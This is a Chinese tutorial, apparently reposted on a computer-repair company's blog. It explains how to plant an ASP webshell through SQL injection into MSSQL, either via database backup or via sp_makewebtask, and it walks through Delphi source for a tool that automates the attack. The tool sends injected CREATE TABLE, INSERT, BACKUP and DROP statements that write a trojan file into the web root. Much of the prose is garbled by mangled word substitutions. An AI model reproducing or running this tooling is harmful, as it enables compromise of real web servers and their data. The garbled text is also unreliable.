SQL注入得到WEBSHELL
一.经过SQL注入得到WEBSHELL的原理:
N.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创立一个表,在表中建一个字段用来生存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,末了再删除新建的表。
阐发: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,假想数据库中有<%%>之类的ASP标实符,导出文件,文件名以.ASP的情势生存。然后文件又生存在WEB的路径下。那么这个导出的ASP文件是不是要去解释<%%> 之内的语句呢?如果数据库中有的表中有<%%>标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种时机也不太大。
再来看看CZY的方法吧。
CZY的方法:前面的和N.E.V.E.R的方法基本上差未几。只是背面用到了扩展存储历程——sp_makewebtask。这个扩展存储历程的作用就是:可以把MSSQL数据库中的某个表中的记载导出来,以文件的方法生存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。本身在参加数据的时间,先调试一下,没有问题在参加出来,导出来就当然没有问题了。
以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就未几说了,各人可以看本期的文章。
二.利用DELPHI去实现功能的前言
原理都阐发过了。我们怎么利用DELPHI来实现他们的手工操纵呢?实在方法黑白常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的主动注射功能。我马上要为各人讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去主动猜解WEB的绝对路径。程序不去果断当前连接SQL数据库确当前账号的权限。我为什么要这么做?由于得到这两者用SQL注入黑白常难得到的。所以,我们程序发送命令就不会思量太多。成不成功你实行完本身去看看生成没有就OK了。
三.如何利用DELPHI得到WEBSHELL。
程序中用到的值。我们这里来看看有哪些:URL路径,长途WEB绝对路径(经过其他方法得到,你肯定有办法的) 接纳什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始实行命令,和点击一个按纽来停止命今。末了就是新建的表的称号,以及表的字段称号,再次就是字段的范例。前面的我们在程序中放上输出,选择之类的控件就行了。背面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来生存。
首先,我们在DIT控件。称号分别是:UrlET //URL路径的输出框、ShellPathET //长途木马的位置、CustomBdoorET//自界说木马的位置。再放两个RadioButton用来选择接纳什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。称号分别是:设置,开始,停止, 末了再放一个MEMO控件。来显示当前添加的信息。到此界面上的事情就做完了。界面如图:
现在来写程序了。
我们首先界说一个RECORD。
如下:
Type
SetOption = Record
TableName : String; //用来生存要创立的表名.
FieldName : String; //用来生存要创立的字段名.
FiledType : String; //用来生存创立的字段名范例.
End;
FiledType字段范例的值因此下范例的一种:
Bigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint
Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段范例值.
再界说一个全局变量:
Var
ISStop : Boolean; //用来果断用户是否按下了停止按纽.
好了。在表单创立的历程中,我们为RECORD记载输出默认值.
代码如下:
procedure TMainForm.FormCreate(Sender: TObject);
begin
sOption.TableName :='cyfd'
sOption.FieldName :='gmemo'
sOption.FiledType :='text'
end;
现在我们添加开始实行命令的代码。
先界说BDoorList 为TstringList。重要目的就是把木马的内容加出去.
创立两个变量来生存urlET.和ShellPathET的值.方便程序简化挪用.
在程序开始实行前,我们得先检查一下用户的输出
界说一个Checkinput函数.
如下:
Function CheckInput : Boolean;
Begin
Result := False;
if Trim(urlet.Text) = '' then
Begin
Application.MessageBox('请输出URL地址!','提示',mb_ok+mb_iconinformation);
Exit;
End;
if Trim(ShellPathET.Text) = '' then
Begin
Application.MessageBox('请输出文件生存地址!','提示',mb_ok+mb_iconinformation);
Exit;
End;
IF DefBDoor.Checked then
Begin
if Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then
Begin
Application.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation);
Exit;
End;
End
Else
if Not FileExists(CustomBdoorET.Text) then
Begin
Application.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation);
Exit;
End;
Result := True;
End;
在最开始参加:
IF Not CheckInput then Exit; //如果输出分歧法就退出历程.
好了,如果用户输出没什么错,我们就来下面的代码。
首先我们把IsStop设为假。创立BdoorList。
BDoorList := TstringList.Create;
再加木马内容到BDoorlist.
BDoorList.LoadFromFile(CustomBdoorET.text);
好了,在这里我还要给各人说一下:用NMHTTP提交数据的时间.要把输出的一些分外符号转告竣编码。我们这里要把空格和%符号更换成相应的编码分别是:%20和%25,否则.程序加不进数据。
代码如下:
BDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]);
BDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]);
接下来.我们就提交建表的功能了.
Memo.Lines.Add('建表...');
Memo.Lines.Add(''); NMHttp.Get(Url+'CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);');
如许我们就创立了一个表。然后.我们向表中加记载:
代码如下:
Memo.Lines.Add('加数据...');
Memo.Lines.Add('');
For i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去.
Begin
IF IsStop then //这里如果点了停止按纽程序将停止任务.
Begin
BDoorList.Free;
Exit;
End; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');');
Memo.Lines.Add('Add Line '+Inttostr(i+1));
End;
现在就是导出数据生成木马了.
Memo.Lines.Add('导出数据...');
Memo.Lines.Add('');
IF BKData.Checked then //如果选中接纳备份数据就实行下面的命令.
NMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''')
Else //如果是用WEB作业的情势. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+'''');
我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];');
如许我们的任务就完成了。下面来释放变量.
BDoorList.Free;
再来向停止按纽中添加点击变乱:
一行代码就行了:IsStop := True;
到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.实在十分简单.主表单中曾经界说了一个RECORD.我们只必要将用户输出的新值,再次赋给RECORD就行了。
设置表单中先引用主表单.然后在界面中添加二个EDIT控件:
第一个称号为:TableNameET //保用户输出的存暂时表
第二个称号为:FieldNameET //用来生存用户输出的字段名.
再添加一个Combobox //用来生存用户所选的字段范例值.
称号:FieldTypeCombox
OK.界面如下:
代码如下:
界说一个历程,主表单好挪用这个设置。
Procedure ShowSet;
Begin
Application.CreateForm(TSetForm,SetForm);
With SetForm do
Begin
TableNameET.Text := sOption.TableName;
FieldNameET.Text := sOption.FieldName;
FieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType);
End;
SetForm.ShowModal;
SetForm.Free;
End;
在主表单中设置的点击变乱中添加上showset历程就行了。
下面就是点击确定的代码了。
IF CheckInput then
Begin
sOption.TableName := Trim(TableNameET.Text); //把用户的输出赋给RECORD.
sOption.FieldName := Trim(FieldNameET.Text);
sOption.FiledType := FieldTypeCombox.Text;
Close;
End;
这里又有一个CheckInput重要就是检查用户输出的值是不是合法。
代码如下:
Function CheckInput : Boolean;
Begin
Result := False;
IF Trim(TableNameET.Text)='' then
Begin
Application.MessageBox('请输出暂时表名!','提示',mb_ok+mb_iconinformation);
Exit;
End;
IF Trim(FieldNameET.Text)='' then
Begin
Application.MessageBox('请输出字段名!','提示',mb_ok+mb_iconinformation);
Exit;
End;
Result := True;
End;
到这里程序就完了。
- 文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。
TAG:
评论加载中...
|